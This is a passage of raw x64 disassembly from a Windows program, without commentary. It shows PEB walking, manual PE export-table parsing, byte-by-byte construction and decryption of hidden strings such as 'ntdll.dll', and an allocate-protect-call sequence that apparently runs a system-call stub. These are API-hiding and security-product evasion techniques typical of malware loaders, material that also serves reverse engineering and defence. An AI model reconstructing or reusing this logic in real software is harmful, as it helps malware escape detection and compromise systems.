cmp rax, qword [rbp - 0x80]
jne 0x140019883
jmp 0x140019bab
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140019bab
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140019bab
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140019bab
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140019bab
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140019ba8
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x731]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400199f2
inc rax
test edi, edi
jne 0x1400199dd
mov r9d, 1
test r8d, r8d
je 0x140019a0f
add rdx, r9
cmp rdx, qword [rsp + 0x60]
jb 0x1400199cc
xor r15d, r15d
jmp 0x140019bb1
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
xor r15d, r15d
add rdx, rcx
je 0x140019bb1
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
cmp eax, r9d
jl 0x140019bb1
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r15 + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0xc0b4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xad30]
call fcn.14002ef44
lea rcx, [rbp + 0xad30]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0xad30]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x3f540], rax
add rsi, r14
cmp rsi, 0x200
jl 0x140019aaa
mov esi, 0x1000
mov r8d, esi
lea rdx, [rbp + 0x3f540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xef4], eax
lea r9, [rbp + 0xef4]
lea r14d, [rax + 0x20]
mov r8d, r14d
mov edx, esi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xfa0]
xor r8d, r8d
lea rdx, [rbp + 0xdb8]
mov rcx, qword [rsp + 0x70]
call rdi
mov edi, eax
lea r9, [rbp + 0xef4]
mov r8d, dword [rbp + 0xef4]
mov edx, esi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, r15
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r15d, r15d
mov dword [0x1400dd364], r15d
test edi, edi
lea esi, [r14 - 0xc]
js 0x140019bc5
jmp 0x140019bab
xor r15d, r15d
mov r9d, 1
mov rax, qword [rbp + 0xdb8]
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x14001a1d0
mov word [rbp + 0x410], 0x7441
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x412], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x413], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x414], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x415], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x416], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x417], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x418], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x419], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x41a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x41b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x41c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x41d], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x41e], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x41f], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x420], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x410]
call fcn.14002e0f0
mov byte [rbp + 0x421], al
xor eax, eax
mov byte [rbp + 0x422], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [r15 - 0xc]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x410]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x410]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x411], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x140019dba
xor r10d, r10d
mov byte [rbp + 0x422], r10b
mov word [rbp + 0x878], 0x77
lea edi, [r10 + 0x1c]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x87a], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x87b], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x87c], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x65
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x87d], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x64
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x87e], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, r14b
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x87f], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x880], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x881], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x882], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x51
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x883], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x75
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x884], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x885], al
mov r9d, edi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x886], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x887], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, r14b
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x888], al
mov r9d, edi
mov r8, r12
mov dl, 0x53
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x889], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x88a], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x88b], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x88c], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x88d], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x75
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x88e], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x88f], al
mov r9d, edi
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x890], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x891], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x892], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x893], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x878]
call fcn.14002f5f0
mov byte [rbp + 0x894], al
xor eax, eax
mov byte [rbp + 0x895], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1b]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x878]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1c]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x878]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x879], dil
add r8, rbx
add r9, 0x1c
cmp r9, 0x32c
jb 0x14001a137
mov byte [rbp + 0x895], r10b
xor r9d, r9d
lea r8, [rbp + 0x411]
lea rdx, [rbp + 0x879]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
movabs rcx, 0xfc7aeea332188
mov qword [rbp + 0xfb8], rcx
movabs rcx, 0xd9938cff1332a
mov qword [rbp + 0xfc0], rcx
add rax, 0x18
mov qword [rbp + 0xfc8], rax
mov eax, dword [rbp - 0x60]
mov qword [rsp + 0x60], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x80], rax
mov qword [rbp + 0xea0], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x60]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x80]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xea0], cl
add rdi, r9
cmp r8d, 8
jb 0x14001a220
mov r11d, r15d
mov rax, r15
lea r8, [rbp + 0xfb8]
xor ebx, ebx
lea esi, [rbx + 1]
and eax, 7
movzx edi, byte [rbp + rax + 0xea0]
mov r10b, dil
xor r10b, 0x18
mov r15d, edi
mov ecx, ebx
lea r9, [rbp + 0xea0]
movabs rbx, 0x8080808080808081
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xea0]
mov rax, rbx
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, esi
add r9, rsi
cmp ecx, 8
jb 0x14001a29b
movzx ecx, r10b
add ecx, r15d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, esi
add r8, rsi
movsxd rax, r11d
cmp rax, 0x18
mov ebx, 0
jb 0x14001a273
mov eax, dword [rbp - 0x60]
mov qword [rsp + 0x60], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0xf30], rax
mov r8d, eax
mov edi, eax
lea ebx, [rax + 0x11]
lea esi, [rax + 0x14]
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x60]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x80]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf30], cl
inc rdi
cmp r8d, 8
jb 0x14001a342
xor r14d, r14d
mov r11d, r14d
mov eax, r14d
lea r8, [rbp + 0x28320]
lea r12d, [r14 + 1]
and eax, 7
movzx edi, byte [rbp + rax + 0xf30]
mov r10b, dil
xor r10b, 5
mov r15d, edi
mov ecx, r14d
lea r9, [rbp + 0xf30]
movabs r14, 0x8080808080808081
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf30]
mov rax, r14
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r12d
add r9, r12
cmp ecx, 8
jb 0x14001a3c0
movzx ecx, r10b
add ecx, r15d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r12d
add r8, r12
movsxd rax, r11d
cmp rax, 0x104
mov r14d, 0
jb 0x14001a397
mov rax, qword [rbp + 0xd60]
mov qword [rbp + 0xea0], rax
mov word [rbp + 0x698], 0xb279
mov r9, rsi
mov r8, r12
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x69a], al
mov r9, rsi
lea r8d, [r14 + 2]
mov dl, 0x57
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x69b], al
mov r9, rsi
lea r8d, [r14 + 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x69c], al
mov r9, rsi
lea r8d, [r14 + 4]
mov dl, 0x69
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x69d], al
mov r9, rsi
lea r8d, [r14 + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x69e], al
mov r9, rsi
lea r8d, [r14 + 6]
mov dl, 0x65
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x69f], al
mov r9, rsi
lea r8d, [r14 + 7]
mov dl, 0x56
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a0], al
mov r9, rsi
lea r8d, [r14 + 8]
mov dl, 0x69
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a1], al
mov r9, rsi
lea r8d, [r14 + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a2], al
mov r9, rsi
lea r8d, [r14 + 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a3], al
mov r9, rsi
lea r8d, [r14 + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a4], al
mov r9, rsi
lea r8d, [r14 + 0xc]
mov dl, 0x61
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a5], al
mov r9, rsi
lea r8d, [r14 + 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a6], al
mov r9, rsi
lea r8d, [r14 + 0xe]
mov dl, 0x4d
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a7], al
mov r9, rsi
lea r8d, [r14 + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a8], al
mov r9, rsi
lea r12d, [r14 + 0x10]
mov r8d, r12d
mov dl, 0x6d
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6a9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6aa], al
mov r9, rsi
lea r8d, [r14 + 0x12]
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6ab], al
mov r9, rsi
lea r8d, [r14 + 0x13]
mov dl, 0x79
lea rcx, [rbp + 0x698]
call fcn.14002e778
mov byte [rbp + 0x6ac], al
xor eax, eax
mov byte [rbp + 0x6ad], al
xor r15d, r15d
mov r8d, r15d
mov r9, rsi
lea r14d, [r12 + 0x10]
lea r15d, [r12 - 0xf]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x698]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x698]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x699], dil
add r8, r15
add r9, rsi
cmp r9, 0x1a4
jb 0x14001a67f
xor r15d, r15d
mov byte [rbp + 0x6ad], r15b
mov word [rbp + 0x150], 0x8e1a
lea edi, [r15 + 9]
mov r9d, edi
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x152], al
mov r9d, edi
lea r8d, [r15 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x153], al
mov r9d, edi
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x154], al
mov r9d, edi
lea r8d, [r15 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x155], al
mov r9d, edi
lea r8d, [r15 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x156], al
mov r9d, edi
lea r8d, [r15 + 6]
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x157], al
mov r9d, edi
lea r8d, [r15 + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x158], al
mov r9d, edi
lea r8d, [r15 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002e000
mov byte [rbp + 0x159], al
xor eax, eax
mov byte [rbp + 0x15a], al
mov r8d, r15d
mov r9d, edi
lea r15d, [r8 + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x150]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x150]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x151], dil
add r8, r15
add r9, 9
cmp r9, 0x5a
jb 0x14001a7fb
xor r15d, r15d
mov byte [rbp + 0x15a], r15b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001aa0d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x80], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14001a8f8
lea r11d, [rax + 1]
mov r8d, r11d
mov r14, qword [rbp - 0x80]
mov ecx, r8d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14001a8cf
mov r14d, reloc.WLDAP32.dll_Ordinal_32
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r15d, r15d
mov byte [rcx + rdi], r15b
movzx edi, r15b
cmp qword [rbp - 0x80], r15
je 0x14001a952
mov rax, rcx
lea r9, [rbp + 0x151]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001a94b
add rax, r10
test edx, edx
jne 0x14001a936
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x14001a977
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rsp + 0x70]
jne 0x14001a897
jmp 0x14001aa0d
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001aa0d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001aa0d
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001aa0d
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001aa0d
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14001aa0a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x699]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001a9f7
inc rax
test edi, edi
jne 0x14001a9e2
test r8d, r8d
je 0x14001af58
inc rdx
cmp rdx, qword [rsp + 0x60]
jb 0x14001a9d1
xor r15d, r15d
mov dword [rbp - 0x60], r15d
mov rax, qword [rbp + 0xd60]
mov qword [rbp + 0xea0], rax
mov word [rbp + 0x6b0], 0xa160
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b2], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b3], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b4], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b5], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b6], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b7], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b8], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6b9], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6ba], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6bb], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6bc], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6bd], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6be], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6bf], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6c0], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6c1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6c2], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6c3], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x6b0]
call fcn.14002e778
mov byte [rbp + 0x6c4], al
xor eax, eax
mov byte [rbp + 0x6c5], al
mov r8, r15
mov r9, rsi
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x6b0]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x6b0]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x6b1], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x14001ac65
mov byte [rbp + 0x6c5], r15b
mov word [rbp + 0x120], 0x5b5f
mov edi, 9
mov r9d, edi
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x122], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x64
lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x123], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x6c
